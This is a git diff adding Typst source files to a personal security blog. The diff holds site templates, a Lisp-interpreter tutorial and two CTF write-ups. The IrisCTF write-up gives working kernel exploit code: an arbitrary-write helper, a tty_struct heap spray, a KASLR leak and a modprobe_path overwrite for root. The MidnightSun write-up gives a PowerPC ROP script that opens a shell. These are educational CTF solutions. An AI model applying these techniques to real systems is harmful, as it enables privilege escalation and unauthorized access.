#html.elem("div", attrs: ( + class: "bg-mantle p-8 m-8 rounded-xl text-md overflow-x-auto", + ))[#it] + ] + + show heading.where(level: 1): it => [ + #html.elem("div", attrs: (class: "text-2xl font-meta font-black p-8"))[ + // #html.elem("div", attrs: (class: "text-mauve text-3xl p-8"))[ + #it + ] + ] + + show heading.where(level: 4): it => [ + #html.elem("div", attrs: (class: "text-yellow"))[ + #text(str(counter(heading).display())) + #text(it.body) + + #html.elem("button", attrs: ( + onclick: "history.back()", + ))[#sym.arrow.t] + ] + ] + + show link: it => [ + #html.elem("span", attrs: (class: "text-blue"))[#it] + ] + + set raw(theme: "./mocha.tmTheme") + + // ========== body ======= + + + html.elem( + "div", + attrs: ( + class: "font-display bg-base min-h-screen w-full min-w-0 text-text flex text-justify", + ), + )[ + + #html.elem("div", attrs: (class: "flex-none bg-base min-w-1/20"))[ ] + #html.elem("div", attrs: ( + class: "hidden 2xl:block 2xl:flex-auto bg-base", + ))[ ] + + #html.elem("div", attrs: (class: "flex-1 sm:p-8 min-w-0"))[ + + #footer() + + #html.elem( + "article", + attrs: ( + class: "max-w-[90ch] leading-relaxed [&>p]:p-2 break-words overflow-x-auto", + ), + )[ + #contents + ] + + // #separator(16) + + #html.elem("div", attrs: ( + class: "flex-shrink min-w-0 w-full [&_svg]:w-full [&_svg]:h-auto [&_svg]:max-w-2 m-4", + ))[ + #html.frame[ + // #frieze.frieze(80, (0, 0), "step") + #frieze.frieze(32, (0, 0), "spinning jump") + ] + ] + #html.elem("div", attrs: ( + // class: "flex-none p-2 min-w-fit text-sm", + class: "flex-none p-2 min-w-fit text-sm font-bold", + ))[ + #list(..entries.map(it => entry-to-html(it))) + ] + + #linebreak() + #linebreak() + #footer() + + ] + + // spacing + #html.elem("div", attrs: ( + class: "hidden 2xl:block 2xl:flex-auto bg-base", + ))[ ] + #html.elem("div", attrs: (class: "flex-none bg-base min-w-1/20"))[ ] + ] +} + + +#let img(path) = { + html.elem("img", attrs: ( + class: "max-w-xl block rounded-md p-4 mx-auto", + src: path, + ))[] +} diff --git a/trees/blog/index.typ b/trees/blog/index.typ new file mode 100644 index 0000000..d28e5a5 --- /dev/null +++ b/trees/blog/index.typ @@ -0,0 +1,38 @@ +#import "@preview/cetz:0.4.2": canvas, draw +#import "mocha.typ": mocha +#import "html_elements.typ": post +#show: post + + +#html.elem("div", attrs: (class: "flex p-8"))[ + #html.frame()[#image("./logo3.svg", width: 8em)] + #html.frame()[#image("./logo2.svg", width: 8em)] + #html.frame()[#image("./logo3.svg", width: 8em)] + // #html.frame()[#image("./logo2.svg", width: 8em)] +] + +Hi, I'm Gabriel Schneider #sym.dash `gbrls`. My areas of interest are: + +- #smallcaps[reverse engineering]. +- #smallcaps[exploit development]. +- #smallcaps[vulnerability research]. +- #smallcaps[programming]. +- #smallcaps[tool development]. +- CTFs at #link("https://epicleet.team/")[ELT]. + +#linebreak() + +My hobbies include, in no particular order: +- Painting and Drawing. +- Writing. +- Playing the drums, keyboard, acoustic guitar, electric bass and harmonica. +- FPV Drones +- Learning modern hebrew. +- Observing and being observed by my four cats: Nyx, Flor, Piolha and Bilbo. +- Sci-fi. +- Studying philosophy and religion. +- Coffee. +- Generative visual and auditory art. + + +#linebreak() diff --git a/trees/blog/irisctf-2025.typ b/trees/blog/irisctf-2025.typ new file mode 100644 index 0000000..4788356 --- /dev/null +++ b/trees/blog/irisctf-2025.typ @@ -0,0 +1,349 @@ +#import "./html_elements.typ": post + +#show: post + +// +++ +// title = 'IrisCTF 2025 - Checksumz' +// date = 2025-01-14T14:14:52-03:00 +// tags = ['pwn', 'linux_kernel', 'ctf'] +// +++ + += Checksumz + +> [CTFtime task](https://ctftime.org/task/29885) +> [Challenge files](https://github.com/gbrls/pwn/tree/main/iris-2025/checksumz) + + +== Problem statement + +```goat + "Someone told me that I can write faster programs by putting them into kernel +modules, so I replaced my checksum function with a char device." +``` + +We're given a nicely setup environment with a vulnerable kernel module. + +Below this the main struct with holds the driver's state per file descriptor. + +```c +struct checksum_buffer { + loff_t pos; + char state[512]; + size_t size; + size_t read; + char* name; + uint32_t s1; + uint32_t s2; +}; +``` + +It gets initialized in the `open` handler, note the `kzalloc` and pay attention +to the size of each allocation. + +SLUB is the default allocator for most Linux systems and we know that it +allocates blocks in fixed sizes and the page frames are separate[1]. So, +`kmalloc-128` is used to allocations like 100 bytes, `kmalloc-256` for 200 +bytes, etc. + +```c +static int checksumz_open(struct inode *inode, struct file *file) { + file->private_data = kzalloc(sizeof(struct checksum_buffer), GFP_KERNEL); + struct checksum_buffer* buffer = (struct checksum_buffer*) file->private_data; + + // ... + + buffer->name = kzalloc(1000, GFP_KERNEL); + + // ... + + return 0; +} +``` + +In this case, since the allocations are above 512 and below 1024 bytes, they'll +get allocated in `kmalloc-1024`. + += Buffer overflow + +Below are the `lseek` and `write` handlers. Note that the overflow happens +because we can set the `buffer->pos` to the end of the buffer, and during the +write, it'll overflow. + +```c +static loff_t checksumz_llseek(struct file *file, loff_t offset, int whence) { + struct checksum_buffer* buffer = file->private_data; + + switch (whence) { + case SEEK_SET: + buffer->pos = offset; + break; + // ... + } + + if (buffer->pos < 0) + buffer->pos = 0; + + if (buffer->pos >= buffer->size) // size is 256 + buffer->pos = buffer->size - 1; // so we can set it to 255 + + return buffer->pos; +} + +// ... + +static ssize_t checksumz_write_iter(struct kiocb *iocb, struct iov_iter *from) { + struct checksum_buffer* buffer = iocb->ki_filp->private_data; + size_t bytes = iov_iter_count(from); + + if (!buffer) + return -EBADFD; + if (!bytes) + return 0; + + ssize_t copied = copy_from_iter(buffer->state + buffer->pos, min(bytes, 16), from); // we can start write from 255 to 255 + 16 + + buffer->pos += copied; + if (buffer->pos >= buffer->size) + buffer->pos = buffer->size - 1; + + return copied; +} +``` + +And there is also a `read` that overflows, it leaks `256` bytes instead of `16`. + +```c +static ssize_t checksumz_read_iter(struct kiocb *iocb, struct iov_iter *to) { +// ... + ssize_t copied = copy_to_iter(buffer->state + buffer->pos, min(bytes, 256), to); +// ... + return copied; +} +``` + += hands on + +Let's test our assumptions debugging the kernel with driver. +In the CTF challenge files we have symbols, so setting a breakpoint is as easy +as `b *(checksumz_write_iter+113)`. + +And to trigger the breakpoint we can `open` the file descriptor and `write` to it: + + +```c +// ... + int fd = open("/dev/checksumz", O_RDWR); + ssize_t written_bytes = write(fd, &data, sizeof(data)); +// ... +``` + +In gdb when the breakpoint is triggered, let's inspect the `checksum_buffer`: +object: + +```bash +pwndbg> p/x $rbx +$5 = 0xff11000004a50800 + +pwndbg> p/x *((struct checksum_buffer*)$rbx) +$1 = { + pos = 0x1ff, + state = {0x0 <repeats 512 times>}, + size = 0x100, + read = 0x0, + name = 0xff11000004a51400, + s1 = 0x1, + s2 = 0x0 +} + +pwndbg> p/x ((struct checksum_buffer*)$rbx)->name-$rbx +$8 = 0xc00 +pwndbg> p 0xc00/0x400 +$9 = 3 +``` + +Both heap allocations we discussed before are 1024 (0x400 in hex) aligned, i.e. +their addresses are multiples of 0x400. We can also see that both allocations +are close, just `0x400 * 3` bytes apart. + += unlocking abilities (getting a better primitive) + +The first we're going to do is to override that `size` variable withthe +overflow we have in the `state` buffer, since they're next to each other we +just need to `lseek` to the end of `state` and then write a big value for `size`. + +Now that we are no longer constrained by 16 bytes right after `state`, we can +also override the `name` string pointer. This is going to be very useful since +we can use the `rename` `ioctl` to write to that pointer 48 bytes. + +```c +static long checksumz_ioctl(struct file *file, unsigned int command, unsigned long arg) { + struct checksum_buffer* buffer = file->private_data; + if (!file->private_data) + return -EBADFD; + + switch (command) { + // ... + case CHECKSUMZ_IOCTL_RENAME: + char __user *user_name_buf = (char __user*) arg; + + if (copy_from_user(buffer->name, user_name_buf, 48)) { + return -EFAULT; + } + // ... +``` + + +By overwriting the value in the `name` pointer and calling the `rename` `ioctl` +we have an arbitrary write anywhere in the kernel :) + +```c +void arb_write(int fd, uint64_t addr, uint64_t* data) { + lseek(fd, 0x210, addr); + write(fd, &addr, sizeof(addr)); + + if (ioctl(fd, CHECKSUMZ_IOCTL_RENAME, data) < 0) { + perror("ioctl - CHECKSUMZ_IOCTL_RENAME"); + } +} +``` + += Heap magic + + +Oops, the writeup for this part is in progress... + + +`modprobe_path`, `KASLR`, `kmalloc-1024` + +Since we have a overflow on a object allocated to `kmalloc-1024` the heap +layout will look like this: + + +```goat +┌──────┬─────┬─────────────────┬───────────┐ +│ data │ ??? │ checksum_buffer │ ??? │ +├──────┼─────┼─────────────────┼───────────┤ +│ addr │ ? │ ? + 0x400 │ ? + 0x800 │ +└──────┴─────┴─────────────────┴───────────┘ +``` + +We can read and write to those objects since we can just offset via `lseek` by +0x400 steps. We want to organize the heap in a way that we know which objects +will be allocated next to our `checksum_buffer` struct. Looking for +`kmalloc-1024` at [2] we see that there is `tty_struct` that can be allocated +by opening `/dev/ptmx`. + +Below is the code to spray the heap with `tty_structs` which will be placed at +`kmalloc-1024`. We allocate objects before too, to defragment the heap's freelist +and to ensure that it'll work if the heap grows backwards or forwards. + +```c + // spray sandwich below: + // the sprayed objs are tty_struct + // ref: https://elixir.bootlin.com/linux/v6.10.10/source/include/linux/tty.h#L188 + // + // spray before (bread) + int spray[SPRAY_SZ]; + for(int i = 0; i < SPRAY_SZ / 2; i++) { + spray[i] = open( "/dev/ptmx" , O_RDONLY | O_NOCTTY); + if(spray[i] == -1) { + __asm__("int3"); + } + } + + // object with overflow (cheese) + int fd = open("/dev/checksumz", O_RDWR); + + // spray after (bread) + for(int i = SPRAY_SZ / 2; i < SPRAY_SZ; i++) { + spray[i] = open( "/dev/ptmx" , O_RDONLY | O_NOCTTY); + if(spray[i] == -1) { + __asm__("int3"); + } + } +``` + +After the code above is executed the heap will look like the diagram below: + +```goat +┌──────┬────────────┬─────────────────┬────────────┐ +│ data │ tty_struct │ checksum_buffer │ tty_struct │ +├──────┼────────────┼─────────────────┼────────────┤ +│ addr │ ? │ ? + 0x400 │ ? + 0x800 │ +└──────┴────────────┴─────────────────┴────────────┘ +``` + +We'll verify our understanding of the system by debugging it with gdb again. +When we run those commands below, `rbx` is holding the value of a address of a +`checksum_buffer`. + +```bash +pwndbg> p/x $rbx +$2 = 0xff11000004962400 + +pwndbg> telescope 0xff11000004962400+0x400 +00:0000│ 0xff11000004962800 ◂— 0x7e00000001 +01:0008│ 0xff11000004962808 ◂— 0 +02:0010│ 0xff11000004962810 —▸ 0xff1100000414b240 ◂— 0x101 +03:0018│ 0xff11000004962818 —▸ 0xff110000048edc00 —▸ 0xff110000048edc50 ◂— 0 +04:0020│ 0xff11000004962820 —▸ 0xffffffff82289480 (ptm_unix98_ops) —▸ 0xffffffff8163dfa0 (ptm_unix98_lookup) ◂— endbr64 +05:0028│ 0xff11000004962828 —▸ 0xff1100000459b050 —▸ 0xffffffff82bd14a0 (n_tty_ops) —▸ 0xffffffff82722080 (.LC3+121) ◂— 0x7264007974745f6e /* 'n_tty' */ +06:0030│ 0xff11000004962830 ◂— 0 +07:0038│ 0xff11000004962838 ◂— 0 + +pwndbg> telescope 0xff11000004962400+0x400*3 +00:0000│ 0xff11000004963000 ◂— 0x7e00000001 +01:0008│ 0xff11000004963008 ◂— 0 +02:0010│ 0xff11000004963010 —▸ 0xff1100000414b840 ◂— 0x101 +03:0018│ 0xff11000004963018 —▸ 0xff110000048ed400 —▸ 0xff110000048ed450 ◂— 0 +04:0020│ 0xff11000004963020 —▸ 0xffffffff82289360 (pty_unix98_ops) —▸ 0xffffffff8163e4c0 (pts_unix98_lookup) ◂— endbr64 +05:0028│ 0xff11000004963028 —▸ 0xff1100000459b5f0 —▸ 0xffffffff82bd14a0 (n_tty_ops) —▸ 0xffffffff82722080 (.LC3+121) ◂— 0x7264007974745f6e /* 'n_tty' */ +06:0030│ 0xff11000004963030 ◂— 0 +07:0038│ 0xff11000004963038 ◂— 0 +``` + +Note the values at the offsets `0x20`: `0xffffffff82289480` and `0xffffffff82289360`. These are high memory addresses that point to global variables on the kernel, we can use them to break `KASLR` + +```c +for (int i = 1; i <= 8; i++) { + uint64_t kbase_leak = io_read(fd, 0x400 * i + (3 * 0x8)); // next kmalloc-1024 slot + if (kbase_leak < 0xffffffff81000000) continue; // verify that we have a high-address pointer + + printf("(~) kbase_leak %016lx\n", kbase_leak); + //ref: https://elixir.bootlin.com/linux/v6.10.10/source/drivers/tty/pty.c#L745 + uint64_t ptm_unix98_ops_offset = 0xffffffff82289360 - 0xffffffff81000000; + kbase = (kbase_leak - ptm_unix98_ops_offset) & 0xffffffffffff0000; + break; +} + +``` + += Arb write + KASLR leak = PRIVESC + + +Now that we have those primitives, it's just a matter of rewriting the +`modprobe_path` variable (_see [1]_) and executing a malformed binary. + +```c +uint64_t modprobe_path_offset = 0xffffffff82b3f100 - 0xffffffff81000000; +printf("(!) modprobe_path: %016lx\n", kbase + modprobe_path_offset); + +write_global(fd, kbase + modprobe_path_offset, (uint64_t*)"/tmp/p"); +system("echo -ne '#!/bin/sh\ncat /dev/vda > /tmp/flag' > /tmp/p"); +system("chmod a+x /tmp/p"); +system("echo -ne '\xff\xff\xff\xff' > /tmp/executeme"); +system("chmod a+x /tmp/executeme"); +printf("(!) Modprobe Setup done :)\n"); +system("/tmp/executeme"); + +char flag_buf[0x200]; +FILE* flag = fopen("/tmp/flag", "r"); +fscanf(flag, "%s", flag_buf); +printf("(~) FLAG: %s\n", flag_buf); +``` + += References + + +- [1] - https://pawnyable.cafe/linux-kernel/ +- [2] - https://ptr-yudai.hatenablog.com/entry/2020/03/16/165628 diff --git a/trees/blog/lib.typ b/trees/blog/lib.typ new file mode 100644 index 0000000..52a3f4b --- /dev/null +++ b/trees/blog/lib.typ @@ -0,0 +1,170 @@ +#import "@preview/cetz:0.4.2": canvas, draw +#import "mocha.typ": mocha + +#let entries = ( + (file: "./index.typ", name: "Index"), + ( + file: "./genuary-2026.typ", + name: "Genuary 2026", + date: 2026, + ), + ( + file: "./corctf-2025.typ", + name: "COR CTF 2025", + date: 2025, + ), + ( + file: "./googlectf-2025.typ", + name: "Google CTF 2025", + date: 2025, + ), + ( + file: "./midnightsunctf-2025.typ", + name: "MidnightSun CTF 2025", + date: 2025, + ), + ( + file: "./wolvctf-2025.typ", + name: "Wolv CTF 2025", + date: 2025, + ), + ( + file: "./irisctf-2025.typ", + name: "Iris CTF 2025", + date: 2025, + ), + ( + file: "./tfc-2024.typ", + name: "TFC CTF 2024", + date: 2024, + ), + ( + file: "./building-a-freeburp-collaborator-with-cloudflare-workers.typ", + name: "Building a free Burp Collaborator with Cloudflare Workers", + date: 2023, + ), + ( + file: "./router-command-injection.typ", + name: "Finding a command injection in a router", + date: 2023, + ), + ( + file: "./oswe-some-thoughts.typ", + name: "OSWE - Some thoughts", + date: 2023, + ), + ( + file: "./the-inevitability-of-getting-pwned.typ", + name: "The Inevitability of Getting Pwned", + date: 2023, + ), + ( + file: "./psychedelic-programming-languages.typ", + name: "Psychedelic Programming Languages", + date: 2022, + ), + (file: "./binbin-tree.typ", name: "Binary Binary Tree", date: 2021), + ( + file: "./mk-lisp-1.typ", + name: "Making a Lisp - 1", + date: 2020, + ), + ( + file: "./mk-lisp-0.typ", + name: "Making a Lisp - 0", + date: 2020, + ), + ( + file: "./obi2018-baldes.typ", + name: "OBI 2018 - Baldes", + date: 2020, + ), + ( + file: "./obi2018-bolas.typ", + name: "OBI 2018 - Bolas", + date: 2020, + ), + ( + file: "./obi2018-cinco.typ", + name: "OBI 2018 - Cinco", + date: 2020, + ), + ( + file: "./obi2018-muro.typ", + name: "OBI 2018 - Muro", + date: 2020, + ), + ( + file: "./obi2018-maximin.typ", + name: "OBI 2018 - MaxiMin", + date: 2020, + ), +) + +#let rightbox(content) = { + html.elem("div", attrs: (class: "flex font-meta text-sm text-justify"))[ + #html.elem("div", attrs: (class: "flex p-8"))[ ] + #html.elem("div", attrs: (class: "flex p-8"))[ ] + #html.elem("div", attrs: ( + class: "flex bg-mantle p-4 flex-auto rounded-s-xl", + ))[ + #content + ] + ] +} + +#let centerbox(content) = { + html.elem("div", attrs: (class: "flex font-meta text-sm text-justify m-4"))[ + #html.elem("div", attrs: ( + class: "flex bg-mantle p-4 flex-auto rounded-s-xl place-content-around", + ))[ + #content + ] + ] +} + +#let textbox(content) = { + html.elem("div", attrs: ( + class: "p-4 bg-surface0 rounded-xl font-display text-xs font-bold", + ))[ + #content + ] +} + +#let separator(n) = { + html.elem("div", attrs: (class: "mt-4 mb-4"))[ + #html.frame()[ + #canvas({ + draw.fill(blue) + draw.stroke(none) + + let w = 0.7 + + for i in range(n) { + if calc.rem(i, 2) == 0 { + draw.fill(mocha.colors.blue.rgb) + draw.rect((i * w, 0), ((i + 0.8) * w, 0.1)) + } else { + draw.fill(mocha.colors.peach.rgb) + draw.rect((i * w, 0), ((i + 0.8) * w, 0.1)) + } + } + }) + ] + ] +} + +#let svg_inline(contents) = { + box()[#html.frame[#text(fill: white)[#contents]]] +} + +#let flex(contents) = { + html.elem("div", attrs: (style: "display: flex; align-items: baseline;"))[ + #contents + ] +} + +#let logos() = { + html.frame()[#image("./logo3.svg", width: 8em)] + html.frame()[#image("./logo2.svg", width: 8em)] +} diff --git a/trees/blog/midnightsunctf-2025.typ b/trees/blog/midnightsunctf-2025.typ new file mode 100644 index 0000000..316971c --- /dev/null +++ b/trees/blog/midnightsunctf-2025.typ @@ -0,0 +1,178 @@ +#import "./html_elements.typ": post + +#show: post + +// +++ +// title = 'MidnightSunCTF 2025 - Sp33d1' +// date = 2025-05-18T18:00:02-03:00 +// tags = ['pwn', 'ctf'] +// draft = false +// +++ + += Sp33d1 + +This was a speedpwn challenge. I unfortunately wasn't able to play the CTF, it +only lasted 24h and I was busy the whole saturday, some kind of shabbos you can say. + + +This is a powerpc ROP challenge. Below is the disassembly of the `main` +function. The vulnerability is that we have a `gets` that stores a string of +any length in a stack variable, giving us a stack buffer overflow. + + + +```asm +; > PowerPC ELF32 2's complement, big endian +; RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE +; Full RELRO No canary found NX enabled No PIE N/A N/A 2043 Symbols N/A 0 0 sp33d1 + +stwu r1, -0x20(r1) +mflr r0 +stw r0, 0x24(r1) +stw r31, 0x1c(r1) +mr r31, r1 +lis r9, 0x100c +lwz r9, 0x1210(r9) ; 0x100c0278 + ; obj._IO_2_1_stdin_ +li r6, 0 ; size_t size +li r5, 2 ; int mode +li r4, 0 ; char *buf +mr r3, r9 ; FILE*stream +bl sym.setvbuf ; int setvbuf(FILE*stream, char *buf, int mode, size_t size) +lis r9, 0x100c +lwz r9, 0x120c(r9) ; 0x100c0148 + ; obj._IO_2_1_stdout_ +li r6, 0 ; size_t size +li r5, 2 ; int mode +li r4, 0 ; char *buf +mr r3, r9 ; FILE*stream +bl sym.setvbuf ; int setvbuf(FILE*stream, char *buf, int mode, size_t size) +li r3, 0x3c +bl sym.alarm +bl sym.banner +lis r9, 0x1007 +addi r3, r9, 0x6f70 ; int32_t arg1 +crclr cr1eq +bl sym.__printf +addi r9, r31, 8 +mr r3, r9 ; char *s +crclr cr1eq +bl sym.gets ; char *gets(char *s) +li r9, 0 +mr r3, r9 +addi r11, r31, 0x20 +lwz r0, 4(r11) +mtlr r0 +lwz r31, -4(r11) +mr r1, r11 +blr +``` + + +Note that at the function's epilogue we have: + +- `lwz r0, 4(r11)` > load `r11[4]` to `r0` +- `mtlr r0` > move `r0` to link register +- `blr` > branch to link register + +In gdb those are the registers right at the function's epilogue. By +sending an input with `cyclic(0x100)` we can see that we control: + +- R0 +- R1 +- R11 +- R31 +- LR + +```asm + R0 0x68616161 ('haaa') +*R1 0x407ff8d0 ◂— 0x67616161 ('gaaa') + R2 0x100cc580 ◂— 0 + R3 0 + R4 0x100c02bf (_IO_2_1_stdin_+71) ◂— 0xa100c1c + R5 1 + R6 0xa + R7 0x100c02c0 (_IO_2_1_stdin_+72) —▸ 0x100c1c08 (_IO_stdfile_0_lock) ◂— 0 + R8 0x100c0278 (_IO_2_1_stdin_) ◂— 0xfbad208b + R9 0 + R10 1 + R11 0x407ff8d0 ◂— 0x67616161 ('gaaa') + R12 0x40000222 ◂— 0 + R13 0x100c91f8 ◂— 0 + R14 0 + R15 0 + R16 0 + R17 0 + R18 0 + R19 0 + R20 0 + R21 0x100c0000 —▸ 0x100c91f8 ◂— 0 + R22 0x10000634 (main) ◂— stwu r1, -0x20(r1) + R23 0x100c12c8 (environ) —▸ 0x407ffb4c —▸ 0x407ffd09 ◂— 'DBUS_SESSION_BUS_ADDRESS=unix:path=/run/user/1000/bus' + R24 0x10000138 (_init) ◂— stwu r1, -0x10(r1) + R25 0x100bcdb4 —▸ 0x100c0d14 (_nl_global_locale+16) —▸ 0x100bd8b4 (_nl_C_LC_MONETARY) —▸ 0x100c1268 (_nl_C_name) ◂— 0x43000000 /* 'C' */ + R26 0x407ffb4c —▸ 0x407ffd09 ◂— 'DBUS_SESSION_BUS_ADDRESS=unix:path=/run/user/1000/bus' + R27 0x407ffc2c ◂— 0x16 + R28 0x407ffb44 —▸ 0x407ffd00 ◂— './sp33d1' + R29 1 + R30 0x100bfff0 (_GLOBAL_OFFSET_TABLE_) ◂— 0 + R31 0x66616161 ('faaa') + CR 0x20000222 + CTR 0x10014b00 (_IO_file_read) ◂— stwu r1, -0x10(r1) +*SP 0x407ff8d0 ◂— 0x67616161 ('gaaa') + LR 0x68616161 ('haaa') +*PC 0x100006c8 (main+148) ◂— blr +``` + +Given that, we control the execution flow and can start ROP'ing. + +There a a few things that make our life easier: + +- there's no PIE. +- the ELF is statically linked. +- we have the `/bin/sh` string at `0x10077a8c` +- we have the `win` function at `0x100005f8` which calls system + + +The only thing we need to do is to setup the `/bin/sh` as the first argument, +and then go to `win`. + +I tried using `ROPGadget` but it didn't work with the ppc ELF, even though it's +supported, instead of trying to fix it, I just tried with `ropper` and it +worked. + +Most gadgets found by the tool look like this: + +- 0x100716e4: add r1, r1, r10; blr; + +This is different that I'm used to do when ROP'ing, since x64 the `ret` +instruction can be used to chain our ROP. Below is the full solution: + + +```python + +from pwn import * + +context(arch='PowerPC', bits=32, endian='big') + +#io = remote('sp33d.play.hfsc.tf', 20020) +#io = gdb.debug('./sp33d1', 'b main') +io = process('./sp33d1') + +set_r3 = 0x100712b4 # lwz r3, 0x10(r1); lwz r0, 0x24(r1); lwz r30, 0x18(r1); addi r1, r1, 0x20; mtlr r0; blr; + +win = 0x100005f8 +bin_sh = 0x10077a8c + +io.sendline(flat([ + b'a' * 0x1c, + p32(set_r3 + 2), + p32(win + 2), + b'b' * 4, + p32(bin_sh), + b'c' * 0x10, + p32(win), +])) + +io.interactive() +``` diff --git a/trees/blog/mk-lisp-0.typ b/trees/blog/mk-lisp-0.typ new file mode 100644 index 0000000..887559f --- /dev/null +++ b/trees/blog/mk-lisp-0.typ @@ -0,0 +1,115 @@ +#import "html_elements.typ": img, post +#show: post + +This is the first part of a series of articles that I'll be writing to document +my progress on building a interpreter for a Lisp-like language. + +I've been interested in learning different programming languages for a while now, I've read the +first chapters of Haskell and Lisp books recently and the one that hooked me on was [Land +of lisp](http://landoflisp.com/). Lisp's simplicity really struck me: from very +simple building blocks you can create anything in such an elegant and simple way. + += What is myLisp + +myLisp is a lisp-like language, the main goal of it is to be implemented in +the most simple and educational way possible. +So, what is lisp? + += A bit of history + +Lisp is a programming language that was invented in the late 50's by John McCarthy, in 1960 he published a +#link("http://www-formal.stanford.edu/jmc/recursive.html")[paper] where he defined the +language and wrote a Lisp interpreter in Lisp! It's crazy to think that you can +write a interpreter for Lisp in Lisp in such an small and beautiful way using only simple +operations, it really shows its elegance and power. There's a more #link("http://www.paulgraham.com/rootsoflisp.html")[approachable + paper] by Paul Graham in which he +explains step by step how Lisp was defined in McCarthy's paper, here's an +excerpt from it: +> "_I wrote this article to help myself understand exactly what McCarthy +> discovered. You don't need to know this stuff to program in Lisp, but it +> should be helpful to anyone who wants to understand the essence of Lisp - both +> in the sense of its origins and its semantic core. The fact that it has such a +> core is one of Lisp's distinguishing features (...)_" + += What is it? + +The building blocks of Lisp are cons cells. It is a structure that holds two +values, head and tail or as Lisp calls them: `CAR` and `CDR`. Each of them can +either point to another cons cell or to atoms. Atoms are anything that can't be +divided into smaller parts (as we can with cons cells which can be divided into +two parts) such as: `14`, `hello-there`, +`aux`, `"I'm a string"`. +Bellow you can see some examples on how cons cells can work together: + +#img("static/cons-cell-0.png") + +> _Example 1: List_ + +#img("static/cons-cell-1.gif") + + +> _Example 2: Nested list_ + + +NIL is a special object which denotes the end of a list. As you can see from the first example we've just created a list, which is the +single most important data structure in Lisp. That's where it's name comes from: +*LIS*t *P*rocessor. + += S-Expressions + +Now that we know the basic concepts of the language we are going to learn how to +represent them in Lisp code. + +S-Expressions are how Lisp represent its code and data. Code and data being +represented in the same way is a very important concept to Lisp, it is called +#link("https://en.wikipedia.org/wiki/Homoiconicity")[homoiconicity]. They can be in the form of atoms or other s-expressions enclosed by +parenthesis and separated by a whitespace. + +Lets see how the examples 1 and 2 can be represented using S-Expressions. + +(42 69 613) +(c-major (c e g)) + +Lisp can look at these two expressions as code or as data. By default Lisp reads +them as if they were code. The first element of an expression, (it's `CAR`) +is interpreted as a function, so `(f a b)` has the same meaning as `f(a, b);` +have in C, for example. + += Basic functions + +* +`PRINT`: Receives an expression as its input, prints it, and then returns it. +* `QUOTE`: Receives an expression as its input and returns it, without evaluating +it. + +Let's try these two functions, let's say that I want to print the list from the +first example. If I call `(PRINT (32 69 613))` it will throw an error because +Lisp will try to call the function `32` with `69` and `613` as its arguments. +But if I call `(PRINT (QUOTE (32 69 613)))` it will work as I intended, +because `QUOTE` returns `(32 69 613)` and then `PRINT` prints it, so `QUOTE` is +a way to convert code into data. + +* +`CONS`: Takes `a` and `b` and returns a cons cell with `a` as it's first part and +`b` as the second. +* `CAR`: Takes a cons cell and returns it's first part. +* +`CDR`: Takes a cons cell and returns it's second part. +* `CADR`: Same as `CAR(CDR(a))`, `CDDR`: Same as `(CDR(CDR(a)))`, `CADDR`, +`CADAR`, ... + +Examples: + +* +`(CONS (QUOTE A) (CONS (QUOTE B) NIL))` returns `(A B)`. +* Expression to create the nested list from the second image: +`(CONS (QUOTE C-MAJOR) (CONS (CONS (QUOTE C) (CONS (QUOTE E) (CONS (QUOTE G) +NIL))) NIL))` which returns `(C-MAJOR (C E G))`. + +_Sidenote: You don't have to declare things this way, I just made this way for +illustration purposes, in Lisp you could also just do_ `(QUOTE (C-MAJOR (C E +G)))`. + +There are other important functions that we'll be discussing later, but for the +next article they are enough. + diff --git a/trees/blog/mk-lisp-1.typ b/trees/blog/mk-lisp-1.typ new file mode 100644 index 0000000..1a71e7e --- /dev/null +++ b/trees/blog/mk-lisp-1.typ @@ -0,0 +1,413 @@ +#import "html_elements.typ": post +#show: post + + +This is the second part of a series of articles that I'm writing to document by +progress on building a Interpreter for myLisp, a lisp-like language. For the previous post [click +here](/mk-lisp-0). + + + +== What is an interpreter? + +An Interpreter is a program that takes souce code as input and executes it. It +is composed of several parts, today we are going to write a lexer and a parser. + +The lexer will read a string of characters and output a vector of tokens, with +some information attached to them like its type. The lexer is important to the +parser because it returns the soure code in a better representation, holding +only information that matters to it, _(this is a very important pattern in +programming, thowing away information that is not important for what we want, by +keeping the data in a more convenient representation)_. + +The parser will take the vector of tokens created by the lexer and create a data +structure _(in our case S-Expressions)_ which can then be executed by another part of the interpreter. + +== The interpreter's implementation + +I will be writing this interpreter in C. The most important reason for it is that +this is a learning project more than anything else, and in C provides us with +the bare minimum to create what we want. +It is important to note that there are better ways to implement it, but I don't +like to read other people's code before I try my own way. Maybe in the future when I'm done, +I'll change it. + +== Lexer + +First, lets define a little macro to help us debug. + +```c +#ifdef DEBUG_F + +#define DEBUG(fmt, args...) \ + printf("(%s:%d) " fmt, __FILE__,__LINE__, ##args) + +#else + +#define DEBUG(f, fmt, args...) /* Do nothing */ + +#endif + +``` + +Next, we need to create a few data types to store the tokens. +_As you can see our Lisp won't support strings and floats for now_. + + +```c +enum Token_Type { + TOKEN_OPEN=0, + TOKEN_CLOSE=1, + TOKEN_NUMBER=2, + TOKEN_SYMBOL=3, +}; + +/* +** Used to debug the lexer +*/ +char* Token_Type_Str[4] = {"(", ")", "NUM", "SYM"}; + +typedef struct { + enum Token_Type type; + + union { + int number; + char* name; + }data; + +}Token; +``` + +And then the tokenize fuction, there are a few details about it that need to be discussed. +Usually in Lisp, symbol names can be in some written in some formats, like `+1, +$, [email protected]`. But for simplicity's sake we have a different set of rules: They must start +with an alphabetical character and not contain any whitespace or parenthesis. + + + +```c +Token* tokenize(char* in, int* ret_sz) { + int cursor = 0; + int sz = 0, alloc=1; + Token* vec = (Token*) malloc(sizeof(Token)); + + while(in[cursor] != '\0') { + + Token cur; + + if(in[cursor]=='(') { + cur.type = TOKEN_OPEN; + cursor++; + + } else if(in[cursor]==')') { + cur.type = TOKEN_CLOSE; + cursor++; + + } else if(isdigit(in[cursor])) { + int number; + sscanf(in+cursor,"%d",&number); + + + while(in[cursor] != '\0' + && isdigit(in[cursor])) { + cursor++; + } + + cur.type = TOKEN_NUMBER; + cur.data.number = number; + DEBUG("TOKEN_NUMBER: %d\n", number); + + } else if(isalpha(in[cursor])) { + + char* name = (char*) malloc(MAX_SYM_SZ); + assert(name!=NULL); + + int ptr = 0; + + while(in[cursor] != '(' + && in[cursor] != ')' + && in[cursor] != ' ' + && in[cursor] != '\0') + { + + if(isalpha(in[cursor])) in[cursor] = toupper(in[cursor]); + name[ptr] = in[cursor]; + ptr++, cursor++; + } + + name[ptr] = '\0'; + + cur.type = TOKEN_SYMBOL; + cur.data.name = name; + DEBUG("TOKEN_NAME: %s\n", name); + + } else 